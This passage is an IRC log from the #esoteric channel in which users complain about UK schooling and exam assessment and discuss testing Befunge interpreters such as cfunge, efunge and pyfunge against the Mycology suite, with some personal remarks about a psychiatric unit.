:pineapple!unknown@unknown.invalid PRIVMSG #esoteric :alise: well... heh < 1269034398 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :public exam places, or something < 1269034404 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :if you can't install anything, then fair enough < 1269034409 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and it would prove that you really didn't need low-level education < 1269034415 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well i don't think i'd be expected to write a program < 1269034420 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol the coyotos guy is leaving microsoft already < 1269034426 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :If it's even vaguely similar to the US's GED program, it'd be pretty trivial for you to do. < 1269034426 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I know I was really depressed in my IT GCSE < 1269034432 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: well the unit is controlling all this sort of stuff so < 1269034436 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because they wanted me to print off the formula view of all the spreadsheet pages < 1269034437 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I can't exactly do tests on the weekends < 1269034438 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and they were all identical < 1269034444 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: ugh, yes < 1269034445 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and you get like... single day holidays < 1269034449 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :they even wanted me in on christmas eve < 1269034461 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"It's a HOSPITAL!" < 1269034465 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: my guess there is that they employ control freaks, because nobody else would want the job < 1269034472 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: "IT" is an alias for "Office". < 1269034477 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MS Office that is. < 1269034481 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: I know < 1269034486 0 :uorygl_!unknown@unknown.invalid NICK :uorygl < 1269034498 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I complained that the syllabus was asking people to say copy/paste was a good way to duplicate info on a spreadsheet < 1269034515 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ugh, that's the worst thing about PHSE (apart from the whole fucking subject) < 1269034517 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: There are places here that offer "degrees in IT". I find it hilarious that people are getting degrees in Office. < 1269034519 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because at the time, I knew of four spreadsheet programs (supercalc, lotus 1-2-3, works, excel), and only excel did copy and paste < 1269034520 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also depressing. < 1269034521 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Very depressing. < 1269034524 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :". Write a paragraph to support this" < 1269034536 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what if I fucking disagree you government-originated piece of crap? < 1269034556 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You should still be able to argue the opposing viewpoint < 1269034556 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: in history, they do the same thing except they ask you to argue both sides < 1269034559 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :How could anyone have any other opinion? < 1269034560 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which makes a lot more sense < 1269034562 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Unless it's utter nonsense < 1269034592 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :"Novell slandered SCO's title by claiming to own the copyright to UNIX." Write a paragraph to support this < 1269034620 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: But that isn't what you're asked, and if you do that the anal-retentive teachers will tell you off. < 1269034626 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And make you do what it says. Sigh. < 1269034631 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yes it i s? < 1269034633 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :is* < 1269034640 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No, it asks you to /support/ the statement. < 1269034644 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not oppose it. < 1269034646 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, and that's what I meant < 1269034652 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: Deewiant means that, a good debater/lawyer can argue the opposite of their own opinion < 1269034653 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You should be able to argue the viewpoint which opposes your own < 1269034665 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Since you evidently opposed it < 1269034670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: ah < 1269034675 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but still, it's sleazy < 1269034682 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because you're meant to be "learning" these "opinions" < 1269034693 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: you can practice by writing paragraphs on why the unit is a good idea < 1269034697 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea what anyone here is talking about < 1269034720 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: that's a literally impossible task < 1269034724 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: stupid UK curriculum < 1269034728 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's stuff like "George Bush was the greatest president ever, and he totally defeated every terrorist. Write a paragraph to support this." < 1269034742 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(level of stupidity, not specific example) < 1269034748 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: try not reading about how UK assessment works, it'll make your brain melt < 1269034764 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :for instance, the maths A-level became around 16% easier the year after I did it, and I have objective evidence of this < 1269034781 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(the official line is that the kids are getting cleverer, rather than the exams getting easier) < 1269034784 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ... You mean it's more stupid than the US system? < 1269034797 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: schooling is (slightly, at least) better, but assessment is really stupid < 1269034824 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :try looking for what the pass mark for maths GCSE is nowadays < 1269034825 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Our assessment is also freaking stupid, but it's more consistent at least... < 1269034855 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Note that we have started teaching, not knowledge, but how to take the tests. < 1269034880 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Which are usually multiple choice. < 1269034882 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yahoo answers says 90% for the top mark, but those are "scaled marks" designed to fit everyone to a normal distribution... < 1269034897 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :according to the second Google result, the raw pass mark is currently 16% < 1269034919 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, and essay exams? They are *computer graded*. < 1269034940 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hahahahahahahaha < 1269034944 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :we have to use this really piss-poor Flash-based examination system < 1269034949 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :On what, number of keywords? < 1269034951 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :admittedly, the same happens in the UK, except that they're graded by humans following a strict algorithm < 1269034962 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I dunno. < 1269034962 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: yep < 1269034966 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and by piss poor I mean nigh on impossible to use < 1269034978 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: please tell me it's better than WebCT < 1269034990 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which is an attempt to reimplement all the standard web technologies via other means, as far as I can tell < 1269034995 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and as a result breaks really badly almost all the time < 1269035002 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's called Goal < 1269035014 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise do you ever get angry < 1269035020 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.goalonline.co.uk/ < 1269035022 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: all the time, why < 1269035095 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :me too < 1269035104 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.goalonline.co.uk/23.08.06CROYDONGUARDIANADDINGTONHIGHSCHOOL.BMP < 1269035104 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :NICEFILENAMEANDIMAGEFORMAT.BMP < 1269035120 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1269035126 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hahaha < 1269035129 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :1700x2340 BMP < 1269035133 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it still hasn't loaded!!! < 1269035146 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: not randomly though... just because my life really sucks :D < 1269035149 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :BMP of a photograph of a newspaper xD < 1269035162 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, I didn't even notice it was a bmp < 1269035163 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: the scanner was being used!!! < 1269035169 0 :Azstal!~asztal@host86-156-99-114.range86-156.btcentralplus.com JOIN :#esoteric < 1269035170 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although I did notice it loaded from the bottom upwards, that should have been a clue < 1269035175 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's almost as comical as the actual product < 1269035176 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's 12 megabytes < 1269035197 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :why do bmps start with the end? < 1269035204 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Why not? < 1269035212 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because it made blitting them to video graphics easier back in the days of windows 3.1 < 1269035229 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :<3 ais < 1269035276 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Which is, you know, "improvement". <-- so you didn't get to stay at home? < 1269035276 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why < 1269035279 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269035281 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1269035283 0 :Azstal!unknown@unknown.invalid NICK :Asztal < 1269035286 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, also: move abroad < 1269035290 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is what you have to do < 1269035297 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Because they never let me? I just refused to go while stuff was being sorted out -- and also that is the plan. < 1269035300 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'm not convinced that it'll help much < 1269035303 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Of course it will. < 1269035311 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro and pikhq - bless 'em - have looked into the relevant laws. < 1269035317 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If I commit no crime I can move and be completely safe. < 1269035331 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :can they try to section you retrospectively? < 1269035342 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1269035356 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can only section someone under the jurisdiction of UK law. < 1269035384 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: they can only get me if I committed a crime on UK soil < 1269035390 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's the only way you can extradite someone < 1269035394 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: This might amuse you: pyfunge Mycology output prior to a recent change: http://pastebin.com/8taKGWs7 and after: http://pastebin.com/rZVSXiUu < 1269035400 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :anyone wondering about UK assessment problems: http://www.timesonline.co.uk/tol/life_and_style/education/article564491.ece < 1269035417 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pyfunge - that a new one? < 1269035422 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yours? < 1269035424 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Why write Python? < 1269035431 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's old and not mine < 1269035441 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :hmm, maybe that's why Mac (still) draws images backwards < 1269035442 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, that one. < 1269035464 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :disambig(Mac) < 1269035467 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :OS X? < 1269035471 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :yah < 1269035484 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :at least iphone does < 1269035493 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, pyfunge? < 1269035501 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I thought it passed with flying colours < 1269035504 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Does nobody remember pyfunge? :-P < 1269035507 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :ais523: 16%... i knew it could be as low as 20% if you were doing maths at higher tier (back in the 3 tier system) < 1269035509 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, why is it bad for 1k[ to turn left? I can't remember < 1269035509 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, it didn't < 1269035518 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: It should turn left at the k, not the [ < 1269035524 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: ah, ofc < 1269035525 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, wasn't it the one lifthrasiir made? < 1269035530 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :misread what you were testing < 1269035539 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yep < 1269035546 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's an old one, though < 1269035546 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :wtf, how did they make that page, it's a 404 in opera, but works in chrome < 1269035553 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's quite amusing just how crazy the other people at the unit are compared to me. < 1269035559 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, also in the second one, what happened to the output in the second one? < 1269035568 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yeah, that's the funny part :-) < 1269035569 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I mean, a lot of the beginning was lost < 1269035574 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :There's an anorexic girl who from what I can tell has been cutting herself there, about 13. On a feeding tube quite a lot of the time. < 1269035580 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, or was it just cut? < 1269035587 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Nope, that's the whole output < 1269035594 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Before and after the change < 1269035594 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, how did it manage that ^_^ < 1269035606 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Made me blink a bit as well :-D < 1269035612 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, was the "BAD: 2k6 leaves 2 sixes on stack" a fatal error? < 1269035618 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes < 1269035642 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Evidently it does something very unexpected with form feeds in the source < 1269035643 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :of course, the other possibility is that alise is actually a psychopathic murderer or something and doesn't know it, and only comes here in lucid periods < 1269035649 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I see... < 1269035660 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but it seems unlikely to me < 1269035669 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: As far as I can tell RC/Funge-98 treats them as EOF, for what it's worth < 1269035680 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I've metaanalysed my sanity more times than I can count; any rational person would in the face of all these people sure I'm crazy. < 1269035685 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Checks out okay for me, though. < 1269035686 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, cfunge ignores them iirc < 1269035698 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, like EOF should be in unefunge < 1269035701 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I haven't managed to coax a BAD out of cfunge yet ;-) < 1269035707 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, :D < 1269035709 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But I'll keep trying < 1269035709 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: hey, when I did that, I decided I was actually insane, but so was the world in general so I didn't care < 1269035715 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what about efunge? < 1269035722 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Haven't been trying that now < 1269035725 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Could though, I suppose < 1269035728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, oh and I don't have time to make a new release in the next few weeks < 1269035736 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: You didn't build an inside-out asylum, did you? :P < 1269035743 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Well, I need some kind of base measure. < 1269035744 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Don't worry, I probably don't either :-P < 1269035756 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: this channel may not be the best place... < 1269035761 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: no point, I was crazy too < 1269035764 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so please use the last version. To avoid the issue with y as pick < 1269035770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it has been fixed for both efunge and cfunge < 1269035773 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(different issues) < 1269035777 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(but both had issues) < 1269035784 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but you need to use last revision < 1269035805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ooh, a neat Chrome feature. < 1269035809 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wolframa2+2. < 1269035816 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It automatically detects site searches in the address bar! < 1269035821 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wolfram alpha is pissing me off < 1269035827 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's annoying, but still. < 1269035830 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You have to love it. < 1269035830 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: IIRC even firefox does that < 1269035836 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: no, you don't go to wolfram alpha < 1269035847 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you type wolframa, it (gets from google the results) shows wolframalpha.com, you press TAB < 1269035849 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then the address bar is < 1269035852 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it just gives up if your query is longer than like 70 chars.. < 1269035854 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[Search wolframalpha.com:] < 1269035855 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: I thought there was some way to do that < 1269035858 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Hmm, it doesn't seem to build much < 1269035861 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Without even loading the page? < 1269035865 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :s/:\] $/:]/ < 1269035877 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, it is possible in firefox < 1269035879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not sure how < 1269035883 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what doesn't? < 1269035885 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Ah, it just doesn't like my EFUNGE_ROOT it seems < 1269035885 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, cfunge? < 1269035895 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, EFUNGE_ROOT? I don't remember that < 1269035899 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :First it says "efunge directory not found" then I set EFUNGE_ROOT and now it says efunge.beam not found < 1269035909 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Since I'm not running it from the source dir, it wants that set < 1269035912 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it should be run from the dir where efunge it < 1269035914 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :./efunge < 1269035915 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or such < 1269035917 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well yeah < 1269035926 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, efunge.beam should be in ebin < 1269035927 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: That's horribly inconvenient < 1269035938 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, sure, but tell me if it works there < 1269035941 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Ah yes, I should point root to the ebin directory < 1269035945 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Not the root directory < 1269035945 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :setting EFUNGE_ROOT *should* work though < 1269035948 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, of course < 1269035949 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but < 1269035955 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yeah maybe I should do something about that < 1269035960 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :My mistake < 1269035974 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, the issue is that I can't really detect where "I" am on POSIX < 1269035987 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: efunge doesn't shrink the Funge-Space bounds! Tut, tut. < 1269035993 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, um it does < 1269036000 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I have checked that < 1269036006 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, sure you use the last revision? < 1269036008 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Oh, woops, my mistake, there's still a bug in that code < 1269036014 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: testing slowdown? < 1269036019 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1269036026 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :slowdown won't work well on efunge I think < 1269036027 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Nah, adding the bounds-shrinking testing stuff to Mycology < 1269036040 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :due to slowdown trying to generate a random placed from the cell size < 1269036041 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, bounds-shrinking is required by the spec? < 1269036043 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which just doesn't work < 1269036051 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: haha < 1269036065 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe it should use an exponential distribution, or something < 1269036065 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, after all, what is a random number between 0 and 8^-1 < 1269036074 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: anything between 0 and 1/8 < 1269036075 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, an integer that is < 1269036083 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :2^-8 actually < 1269036088 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, oh? < 1269036091 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh right < 1269036094 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, anyway < 1269036103 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :slowdown can't work on efunge due to that issue < 1269036107 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yep < 1269036118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, and I'm not going to "fix" it < 1269036126 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because I consider it not a bug < 1269036128 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but a feature < 1269036132 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Sure, understandable < 1269036154 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I could patch slowdown to use some reasonably-large number if it gets <0 but I haven't bothered < 1269036155 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, after all, I don't know any other bignum funge. It is exploiting a specific niche < 1269036161 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, indeed < 1269036168 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, iirc it messes up that other test suite too < 1269036170 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :forgot it's name < 1269036176 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: The spec says "least point which contains a non-space cell" < 1269036177 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :rather limited compared to mycology < 1269036185 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The Cat's Eye one? < 1269036194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, no the third one < 1269036203 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fungus or something wasn't it < 1269036207 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Fungus, yes < 1269036214 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: hmm, what about Unicode whitespace? < 1269036216 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :efunge *should* handle shrinking bounds < 1269036222 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can't answer what ATHR will do to it < 1269036224 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well I could < 1269036227 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but it would be complicated < 1269036228 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I think "space" is fairly well defined in the spec :-P < 1269036236 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Questioning that will only lead to trouble < 1269036237 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and require quite a deep understanding of efunge internals < 1269036240 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: OK < 1269036260 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but since mycology doesn't test ATHR it should not cause any issues < 1269036270 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, if you want to test TURT use the supervisor branch < 1269036276 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :trunk lacks TURT < 1269036278 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :on efunge < 1269036544 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, I don't suppose I can get a printout of some funge-space area out of cfunge/efunge < 1269036609 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, you can using gdb for cfunge < 1269036618 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there is a function enabled for debug builds of cfunge < 1269036626 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for efunge, well you can also use a 